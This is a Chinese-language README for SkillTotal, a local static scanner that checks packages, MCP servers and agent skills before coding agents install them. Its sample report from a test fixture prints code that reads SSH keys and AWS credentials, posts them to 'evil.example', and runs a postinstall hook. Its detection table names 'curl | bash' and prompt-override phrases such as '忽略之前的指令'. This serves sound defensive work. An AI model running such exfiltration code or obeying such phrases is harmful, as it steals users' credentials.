关于 SkillTotal
SkillTotal 是面向开发者和团队的本地静态安全扫描器,可检查软件包、MCP 服务、Agent 技能和代码仓库。它不执行受检代码,使用确定性规则,并将发现关联到文件位置。
主要功能
- 01扫描 npm、PyPI、服务、技能和仓库
- 02检测风险代码与 MCP 配置
- 03汇总发现并计算风险分数
- 04按文件和行号提供证据
- 05通过 CLI、插件或 GitHub Action 扫描
- 06导出 JSON 和 SARIF 报告
适用场景
- 01在编码 Agent 安装前检查软件包
- 02根据扫描结果拦截拉取请求
- 03比较软件包版本中的新增风险
- 04通过 MCP 请求 Agent 扫描组件
MCP 相关
SkillTotal 可作为 stdio MCP 服务运行,提供扫描组件、比较版本和列出规则的只读工具。Claude Code 插件也会注册该服务。
配置
本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。
工具
3收录的工具列表 · 更新于 今天
| 参数 | 类型 | 必填 | 说明 |
|---|---|---|---|
| source | string | 是 | 要扫描的对象:本地目录/文件/归档路径、git URL、npm:<name>[@version] 或 pypi:<name>[==version]。 |
详细介绍
在编码 Agent 安装软件包前先进行检查。
一款用于扫描 npm 和 PyPI 软件包、MCP 服务、Agent 技能和代码仓库的静态安全扫描器。
在你的计算机上运行 · 绝不运行所扫描的代码 · 不使用大模型 · 每项发现都标明文件和行号
快速开始 · Claude Code 插件 · GitHub Action · CLI · 检测内容 · 在线试用
插件对经过清理的测试软件包给出的真实答复。未展示真实软件包。
快速开始
pipx install skilltotal
skilltotal scan npm:express # or pypi:name, a git URL, a folder, an archive
检查编码 Agent 安装的内容。 在 Claude Code 中:
/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins
拦截拉取请求。 在工作流中添加一个步骤 (包含权限设置的完整示例):
- uses: pezhik/[email protected]
with: { source: ., fail-on: high }
如需无需安装即可试用,www.skilltotal.ai 使用相同的引擎。
检测内容
它会扫描 npm 和 PyPI 包、MCP 服务、Agent 技能和插件、git 仓库(或包含多个仓库的文件夹)、本地文件夹、归档文件和单个文件,并查找:
| 类别 | 示例 |
|---|---|
| Shell 执行 | subprocess.*、os.system、child_process.exec、交给 shell 调用执行的 curl … | bash |
| 文件系统访问 | open、read_text/write_text、fs.readFile/writeFile |
| 敏感路径 | ~/.ssh、~/.aws、.env、id_rsa、credentials、secrets |
| 网络外传 | requests、urllib、aiohttp、fetch、axios |
| 安装时执行 | npm preinstall/postinstall/prepare、setup.py 钩子、下载或解码代码并运行的生命周期脚本 |
| 动态代码执行 | eval、exec、compile、new Function、vm.runInNewContext |
| 混淆 | 解码并执行的链式操作、base64 数据块、十六进制转义、压缩代码 |
| MCP 风险 | 清单、危险工具(shell/文件系统/网络/凭据)、服务命令 |
| 提示词风险 | “忽略之前的指令”“透露系统提示词”、数据外传措辞 |
它还会标记面向 Agent 的文本中隐藏的 Unicode 字符、嵌入的机密、自动批准的 MCP 工具,以及诸如读取凭据后进行网络外传的数据流。运行 skilltotal rules list 可打印所有规则;各组件类型的覆盖情况和准确性说明见 docs/detection.md。
报告示例(来自此仓库的脱敏测试包)
$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source : tests/fixtures/malicious_npm_pkg
Verdict : HIGH - High risk - review before installing
Risk : HIGH (score 70/100)
Findings (3 risk, 4 capability, not scored):
[CRITICAL] ST-COMBO-EXFIL Sensitive-data access combined with network egress
Evidence:
- index.js:7
const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
- steal.js:3
const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
- index.js:13
fetch('http://evil.example/collect', { method: 'POST', body: key });
... and 1 more (all of them in --json)
[HIGH] ST-INSTALL-DROPPER Install-time hook paired with a dropper payload
Evidence:
- package.json:6
"postinstall": "node steal.js"
...
已缩短。完整报告还会打印描述、建议、能力和待审核项。
SkillTotal 的优势
- Claude Code 插件 会在 Agent 运行命令前检查每条
npx、npm install、pip install或claude mcp add命令。 - 它可在你的机器上运行,无需账户、API 令牌、上传或遥测数据,并且绝不会运行它读取的代码(网络访问)。
- 检测采用正则表达式和 AST 匹配,不使用大模型,因此相同 Python 版本下,相同输入会产生相同的发现结果和评分。每条发现都注明文件和行号,召回率和精确率均已公开。
- 零运行时依赖(仅使用 Python 标准库),便于审计、纳入项目或在隔离网络环境中运行。
- 报告包含行为特征指纹,并映射到 Cloud Security Alliance (CSA) Agentic 威胁模型、MAESTRO 层和 MITRE ATLAS 策略;发现结果带有 OWASP Agentic Skills Top 10 编号。
- 它是开源软件(Apache-2.0),完整静态分析报告永久免费。
工作原理
SkillTotal 会获取组件(浅克隆 git 仓库或下载软件包归档),读取每个文件一次,并对这些文件运行扫描器。它会关联发现结果(读取凭据并进行网络外传会形成一条数据外传路径),并将结果评为 0 到 100 分。它只检查组件自身的文件,绝不检查用户、公司、环境、部署或运行时上下文。每条已确认的发现都附有证据(文件、行范围、代码片段);无法关联到证据的信号会归入 needs_review,且永远不会影响评分。Shell 或网络访问等能力会被报告,但评分为 0。详情见 docs/architecture.md 和 docs/scoring.md。
Claude Code 插件
在运行安装命令前,插件会在本地扫描命令中指定的每个包,并使用与 CLI 相同的引擎。它会识别 npm、pnpm、yarn、bun、npx、pip、uv、uvx、pipx、poetry 等安装命令,claude mcp add(以及 Codex 和 Gemini 的对应命令)和 npx skills add,也能识别它们被 sudo、bash -c、$(...) 或 PowerShell 包装的情况。先安装 CLI(在启动 Claude Code 的位置运行 skilltotal --version 必须正常),然后运行快速开始中的三个命令。
| 扫描结果 | 安装处理方式 |
|---|---|
| 恶意指标 | 拒绝安装。Agent 会收到检测结果及其文件和行号 |
| 高风险或严重风险、仿冒包名,或任何无法检查的情况(自定义注册表、运行时生成的名称、由解码器隐藏的命令、检查失败或超时) | Claude Code 会询问你 |
| 不属于上述情况 | 执行安装。Agent 会收到一行说明,告知检查的版本及其评分 |
| 在 CI 中遇到任何需要询问的情况 | 拒绝安装:CI 采用默认拒绝策略(见下文) |
每条安装命令都会在控制台输出一行,说明检查了什么,或未能检查什么以及原因。在 CI 中(CI、GITLAB_CI、JENKINS_URL 等环境变量,或 SKILLTOTAL_STRICT=1),没有人可以回答,因此任何原本需要询问的情况都会被拒绝。无法检查的安装也会被拒绝,除非 SKILLTOTAL_ALLOW_UNCHECKED 列出了相应类型。
它不会检查指定包的依赖项、未安装任何包的命令(npm ci、pip install -r、uv sync;控制台会说明这一点)、磁盘上的脚本、Shell 配置文件中的别名或函数、下载的脚本(curl ... | bash,会报告为未检查)、通过 git clone 获取的仓库,也不会检查账户上已经在运行的代码(这些代码可能改写判定缓存或 CLI)。该插件只是静态检查,并非沙箱:对于你不信任的代码,请在容器中运行 Agent。它还会添加 /skilltotal:scan <target> 命令并注册 SkillTotal MCP 服务。识别的命令、设置、缓存、时序、团队推广和故障排除内容见 docs/plugin.md。
CI / GitHub Action
在 CI 中运行 SkillTotal,并在仓库的 Security → Code scanning 标签页查看检测结果。
# .github/workflows/skilltotal.yml
name: SkillTotal
on: [push, pull_request]
permissions:
contents: read
security-events: write # required to upload SARIF to Code Scanning
actions: read # required for the SARIF upload in a private repository
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- uses: pezhik/[email protected]
with:
source: . # a path, a git URL, or an npm:/pypi:<name> spec
fail-on: high # fail on a high/critical risk finding (or 'none')
恶意指标无论严重程度如何,都会导致作业失败;单独出现某项能力(例如 Shell 调用或网络访问)则不会。日志会指出触发的门槛及其对应的检测结果。检测结果会以 SARIF 格式上传。私有仓库只有在启用 GitHub Advanced Security 后才能使用 Code Scanning;如果没有该功能,请设置 upload-sarif: 'false'。设置 comment-on-pr: 'true'(并赋予 pull-requests: write 权限)后,会持续更新一条摘要评论。系统会应用仓库中的 .skilltotal.toml,因此请将其列入 CODEOWNERS(配置)。docs/ci.md介绍了所有输入和输出、第三方包的定期重新检查、pre-commit、GitLab CI、Jenkins,以及如何在现有仓库中推广。其他可运行 Python 3.10+ 的环境中,安装固定版本并根据退出码进行门控(0 表示通过,2 表示触发门控,1 表示扫描无法运行):
pip install skilltotal==0.85.0 # in a virtual environment outside the checkout
skilltotal scan . --fail-on high
CLI
skilltotal scan ./path/to/component # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./component --json # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:[email protected] npm:[email protected] --fail-on-new high
skilltotal guard npm:some-mcp-server # exit 2 if it should not be installed
skilltotal guard --installed # check the MCP servers, plugins and skills your agents use
skilltotal inventory --sbom # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list
单独运行 scan 时,无论检测到什么情况(即使判定为恶意),退出码始终为 0。在脚本中,请使用 skilltotal guard 或门控选项(--fail-on),并检查退出码。CLI 参考介绍了所有标志、退出码和门控规则。
MCP 服务
skilltotal mcp 会将引擎作为 stdio MCP 服务运行,让你的 Agent 在安装组件前检查它。Claude Code 插件已自动注册该服务。在未安装插件的 Claude Code 中:
claude mcp add skilltotal -- skilltotal mcp
对于 Claude Desktop、Cursor、Windsurf 或任何读取 mcpServers 的客户端:
{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }
它提供三个只读工具:scan_component(本地路径、git URL、npm: 或 pypi: 源)、diff_components(两个版本之间的变更)和 list_rules。VS Code、uvx/npx 用法和路径规则请参阅 docs/mcp-server.md。
安装
需要 Python 3.10+,且没有运行时依赖。只有在扫描远程 URL 和使用 scan --staged 时才需要 git。在不可信目录中扫描以及其他安装详情,请参阅 docs/cli.md。
pipx install skilltotal # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal # into a virtual environment, or to use it as a library
使用 npx 时(需要 uv、pipx,或安装了 skilltotal 的 Python 3.11+),请使用 --package 指定发行版本,避免 npx 运行被扫描仓库的 node_modules/.bin 中的 skilltotal:
npx -y [email protected] -- skilltotal scan https://github.com/owner/repo
用数据衡量,而非口头宣称
- 检测效果: 在我们构建并公开发布的带标签语料库(148 个恶意样本和 111 个良性样本)上测得的召回率和精确率;每次发布都会重新生成,并由 CI 将其作为底线加以保障。在我们自己的语料库上取得完美分数可防止回归,但这并不代表能检测现实世界中的所有攻击。 调查中 OWASP 类别计数所依据的每条规则也都有自己的带标签样本,详见报告的规则覆盖表。
- 已扫描的 MCP 注册表 (2026 年 9 月,引擎 0.49.0,规则集 56 至 59;未反映之后的规则变更):官方注册表中 17,535 个不同组件里有 15,341 个(87.5%)。在已扫描的组件中,88.2% 会向 Agent 暴露工具,64.8% 可以访问网络,21.1% 可以执行 shell 命令。 尽管如此,除 116 个之外,其余组件的风险评分都较低,因为单独的能力不会得分。在本次扫描之前,我们人工检查了早先一次扫描中所有恶意指标命中项,并修正了误报。 汇总数据(JSON) · 测试工具。
局限性
- 不会读取超过 2 MiB 的文件。 会列出但不分析压缩后的 JavaScript/TypeScript 包,但 npm 在安装时运行的脚本除外。此时,较低的判定结果会显示为“部分已分析”。
- 不会扫描依赖项。 会跳过
node_modules/、vendor/和虚拟环境。 - 不会分析运行时获取或生成的代码,也不会分析二进制文件和编译产物。
- 语言。 对 Python 和 JavaScript/TypeScript 中的 Shell 执行、网络访问、文件访问和动态代码进行分析。检查 Shell、PowerShell 和批处理脚本中下载并运行、解码并运行以及规避检测的惯用写法。对于其他语言,只检查机密信息、敏感路径和隐藏 Unicode 字符。
- 默认门禁不会将未读取的代码计入检测结果,而且未读取的代码绝不会悄然通过:日志会列出相关内容(
Not everything was analyzed: ...),判定结果会显示为“部分已分析”,并且--fail-on-unanalyzed会因存在此类代码而失败。这适用于超过 2 MiB 的文件、压缩包、未进行行为分析的语言中的代码,以及随包发布但没有源文件的编译代码(例如旁边没有同名.py或.java文件的.pyc、.pyo或.class文件)。 - 检测以调用/导入为粒度。 检出某种能力只说明代码中存在该能力,不代表它被滥用。SkillTotal 不能替代沙箱、渗透测试或人工代码审查。
有关该引擎如何应对 2026 年 6 月发布的四种绕过手段,请参阅我们能检测到什么。 完整列表见 docs/detection.md。
配置
提交 .skilltotal.toml,即可无需重复设置标志来配置门禁级别、排除项、忽略的规则、基准文件,以及每条规则的 block / warn / ignore 策略。要接受单条发现结果,请添加内联注释 skilltotal:ignore[ST-ID]。限制和注册表镜像通过 SKILLTOTAL_* 环境变量设置。在 CI 中,扫描的仓库自身配置和标记会生效,因此请在启用分支保护的情况下,将 .skilltotal.toml 和基准文件纳入 CODEOWNERS 管理(docs/configuration.md)。
网络访问
扫描本地文件夹、归档或文件时不会发出网络请求。SkillTotal 仅在以下情况下联网:
- git URL: 执行
git clone --depth 1;对于 github.com,会先调用 GitHub REST API(api.github.com)检查待克隆内容的大小 npm:/pypi:源: 从registry.npmjs.org或 PyPI(pypi.org及其文件主机)获取软件包元数据和归档,或从你的镜像获取(SKILLTOTAL_NPM_REGISTRY、SKILLTOTAL_PYPI_INDEX)--provenance: 获取软件包的注册表元数据inventory、guard --installed、Claude Code 插件和 MCP 服务: 从相同的注册表和 git 主机获取其所检查软件包的信息
它不会发送遥测数据,无需账户,也不会调用大模型。
开源版与 SkillTotal Cloud
此引擎(分析功能、所有检测规则和 CLI)是开源的,并且功能完整,可免费在本地或 CI 中运行。SkillTotal Cloud 计划提供基于此引擎的付费服务端功能;其代码不属于此代码库(docs/open-core.md)。
文档
| 部分 | 现位于 |
|---|---|
| 用法、退出代码、状态徽章 | docs/cli.md |
| 项目配置、行内抑制、环境变量、通过注册表镜像扫描 | docs/configuration.md |
| Action 输入和输出、pre-commit、其他 CI 系统、逐步应用 | docs/ci.md |
| MCP 服务客户端和路径规则 | docs/mcp-server.md |
| 检测内容、按组件类型划分的覆盖范围、典型发现、判定、范围之外的内容、准确性说明 | docs/detection.md |
| 恶意软件类型及其对应的检测规则 | docs/detection-coverage.md |
| 报告输出、特征、OWASP 映射 | docs/report-schema.md |
| Claude Code 插件参考 | docs/plugin.md |
| 架构 | docs/architecture.md |
贡献、安全与许可证
开发环境设置:pip install -e ".[dev]",然后运行 pytest。检测规则采用先构建语料库的方式添加(docs/contributing-rules.md)。
请通过 issue 报告误报;我们会公开修复这些问题。
安全问题: SECURITY.md。
Apache-2.0,另请参阅 NOTICE。
评论
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。